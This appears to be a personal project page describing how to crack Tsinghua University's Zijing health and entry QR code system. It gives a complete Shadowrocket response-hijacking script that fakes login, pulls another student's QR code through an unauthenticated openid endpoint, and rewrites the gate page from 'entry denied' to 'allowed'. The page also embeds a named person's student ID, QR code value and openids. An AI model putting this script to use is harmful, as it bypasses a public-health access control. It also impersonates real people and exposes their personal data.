清华紫荆码破解

大类
School
技术标签
逆向-JS
开发-HookPatch-JS
优先级
Critical
状态
Monitoring
开始日期
Sep 1, 2021
最后更新
Feb 22, 2022
Public
Public
紫荆码V1接口:getInfoByOpenId
紫荆码V2接口:wx.Login → /xcx 登录 → /xcx/getQrCodeInfo
 
通过V1接口获取长期实习同学的二维码,然后替换二维码对应请求即可
 
通过劫持小程序的全部请求,能做到不用登陆使用所有功能
途中发现:
  • shadowrocket对http-request类型脚本支持有问题,无法拦截很多请求
  • shadowrocket给出的$request.url会将https://转成http://导致url匹配问题
 
// zijing-full.js // use as http-response script // url: //zijing.tsinghua.edu.cn/tp_jp/.*? const QR_OPENID = 'o5Se_4p3J1SuxPx8Mm0omhhQYflA' const PAGE_OPENID = 'o5Se_4obueHL5fKMtr2zsrYPagwU' const DISPLAY_NAME = '张三' const DISPLAY_ID = '2021214131' //const _done = (r) => $done({ // response: r //}) const _done = (r) => $done(r) const respJSON = (body) => _done({ body, headers:{ 'Content-Type': 'application/json', }, status: 200 }) const respRaw = (body) => _done({ body, headers:{ }, status: 200 }) const respObj = (r) => _done(r) const passReq = () => $done({}) const reqUrl = $request.url.replace(/^(http:|https:)/,"https:") const BASE_URL = "https://zijing.tsinghua.edu.cn/tp_jp/" if (! reqUrl.startsWith(BASE_URL)) { passReq() } else { const PATH = reqUrl.slice(BASE_URL.length) console.log("[zijing-full] url path: " + PATH) if (false) { } else if (PATH.startsWith('xcx')) { const body = `{"success":true,"ret":"${PAGE_OPENID}" , "key":"00" , "agree":1}` respJSON(body) } else if (PATH.startsWith('jp/mcode/xcxLoginPrimordial')) { const body = 'serviceapplication' respRaw(body) } else if (PATH.startsWith('jp/mcode/xcxPage')) { passReq() } else if (PATH.startsWith('jp/serviceapplication/getAuthorityInfo')) { const body = `{"ID_NUMBER":"${DISPLAY_ID}","USER_SEX":"1","USER_ID":"${DISPLAY_ID}","AVATAR_S_ID":"","YC":"yes","USER_NAME":"${DISPLAY_NAME}","UPDATE_TIME":"2022-02-10 17:08","TEMPORARY_USER_ID":"","ID_TYPE":"2","CLASS_NAME":"网络研究院(研究生)","HEALTH_LABEL":"101","fxqrgly":"0","AVATAR_P_ID":"","CW":"0","CODE_COLOR":"绿色","UNIT_NAME":"网络科学与网络空间研究院","HAVARETURN":false,"CARD_ID":"","HEALTH_TYPE":"1","WECHAT_OPEN_ID":"${PAGE_OPENID}","MOBILE":""}` respJSON(body) } else if (PATH.startsWith('jp/serviceapplication/getQrCodeInfo')) { $httpClient.get(`https://zijing.tsinghua.edu.cn/tp_jp/jp/mcode/getInfoByOpenId?openid=${PAGE_OPENID}`, (err, resp, data) => { if (err) { console.log("[zijing-full] qr req failed! err: " + err) respObj({ status: 502, body: err }); return } respObj({ status: resp.status, headers: resp.headers, body: data, }) }) } else if (PATH.startsWith('jp/temperature')) { const data = ` <link rel="stylesheet" type="text/css" href="https://zijing.tsinghua.edu.cn/tp_jp/resource/css/common/mui/mui.min.css"/> <link rel="stylesheet" type="text/css" href="https://zijing.tsinghua.edu.cn/tp_jp/resource/css/common/mui/mui.picker.css"/> <link rel="stylesheet" type="text/css" href="https://zijing.tsinghua.edu.cn/tp_jp/resource/css/common/mui/mui.picker.min.css"/> <link rel="stylesheet" type="text/css" href="https://zijing.tsinghua.edu.cn/tp_jp/resource/css/common/mui/mui.poppicker.css"/> <script> var userdata = {"IS_ISOLATE":"0","UNIT_ID":"412","ID_NUMBER":"2021214131","ROWNUM":1,"VALIDITY_DATE":null,"USER_SEX":"1","LABEL_NAME_OFF":"Normal","ID_TYPE":"2","CODENAME":"研究生","CLASS_NAME":"网络研究院(研究生)","LABEL_NAME":"正常","temperature_time":"2022-02-23 06:57:45","xztxyy":"禁止通行","AVATAR_L_ID":null,"QRCODE":"4DEE3445083A322CF8F6D50BBEC26847F095A990B449C5C8ED458D323AADAD85E91CD212D5CE47AA","CODE_COLOR":"绿色","UNIT_NAME":"网络科学与网络空间研究院","if_pass":"2","HEALTH_TYPE":"3","place_id":"45602183708672","TEMPERATUREVALIDE":"0","ISOLATE_TIME":null,"place_name":"清华大学东南门","scan_log_id":"2872664723460096","AVATAR_S_ID":null,"USER_NAME":"管云超","UPDATE_TIME":"2022-02-23 05:08:06","HEALTH_LABEL":"101","AVATAR_M_ID":null,"CARD_ID":"2021214131","MOBILE":null}; </script> <div id="temperatureScan_content"></div> <script id="temperatureScan_templet" type="text/html"> <div class="qh-page-content"> <div class="qh-page-content"> <div class="qh-page-bg"> <div class="qh-user-info-part cl-after"> <div class="info-details-box"> <div class="info-details-item"><span class="tit-box">姓名 Name</span><span class="line-box"></span><font class="pull-left">管云超</font></div> <div class="info-details-item"><span class="tit-box">证件 Tsinghua ID</span><span class="line-box"></span><font class="pull-left">2021214131</font></div> <div class="info-details-item"><span class="tit-box">单位 Affiliation</span><span class="line-box"></span><font class="pull-left">网络科学与网络空间研究院</font></div> </div> </div> <div class="qh-qrcode-main-part"> <div class="qr-code-box" style="padding: 10px;background: #fff;"> <img src='/tp_jp/resource/image/hs/icon/icon-fobb.png'" style="height:100%;"/> </div> <div class="qr-code-time" id="update_time"></div> <div class="qr-code-time" style="font-size: 15pt;color: #333;margin-top: 8px;">清华大学东南门</div> <div class="qr-code-btn red"> <a class="">禁止通行</a> <a class="english">Entry denied</a> </div> </div> </div> </div> </div> </script> <script type="text/javascript" src="https://zijing.tsinghua.edu.cn/tp_jp/resource/js/jp/h5/temperature/temperatureScan.js?v=20220204"></script> <script type="text/javascript" src="https://zijing.tsinghua.edu.cn/tp_jp/resource/js/jp/h5/serviceapplication/jquery-qrcode.min.js?v=20220204"></script> <script type="text/javascript" src="https://zijing.tsinghua.edu.cn/tp_jp/resource/js/jp/h5/temperature/img-qrcode.js?v=20220204"></script> <script type="text/javascript" src="https://zijing.tsinghua.edu.cn/tp_jp/resource/js/jp/h5/serviceapplication/jweixin-1.4.0.js?v=20220204"></script> <script> var word_size2 = function(a){ var wordSize=$("#word-size").width(); $(".service-home-outside").find(".point").css("font-size",12-(wordSize-12)+"px"); }; word_size2(); $("#word-size").resize(function(){ word_size2(); }); </script> ` let newbody = data.replaceAll("禁止通行","允许通行").replaceAll("Entry denied","Please enter").replaceAll("red","green").replaceAll("fobb.png", "comein.png").replaceAll("禁止通行","平安出行"); const oriUserName = newbody.match(/"USER_NAME":"(.*?)"/)[1] const oriUserId = newbody.match(/"ID_NUMBER":"(.*?)"/)[1] console.log(`[zijing-full] oriUser: ${oriUserName} oriID: ${oriUserId}`) newbody = newbody.replaceAll(oriUserName, DISPLAY_NAME).replaceAll(oriUserId, DISPLAY_ID) console.log("[zijing-full] temperature newbody: " + newbody); respObj({ status: 200, headers: { "content-type": "text/html;charset=UTF-8" }, body: newbody, }) $httpClient.get($request.url, (err, resp, data) => { if (err) { console.log("[zijing-full] temp req failed! err: " + err) respObj({ status: 502, body: err }); return } }) } else { passReq() } }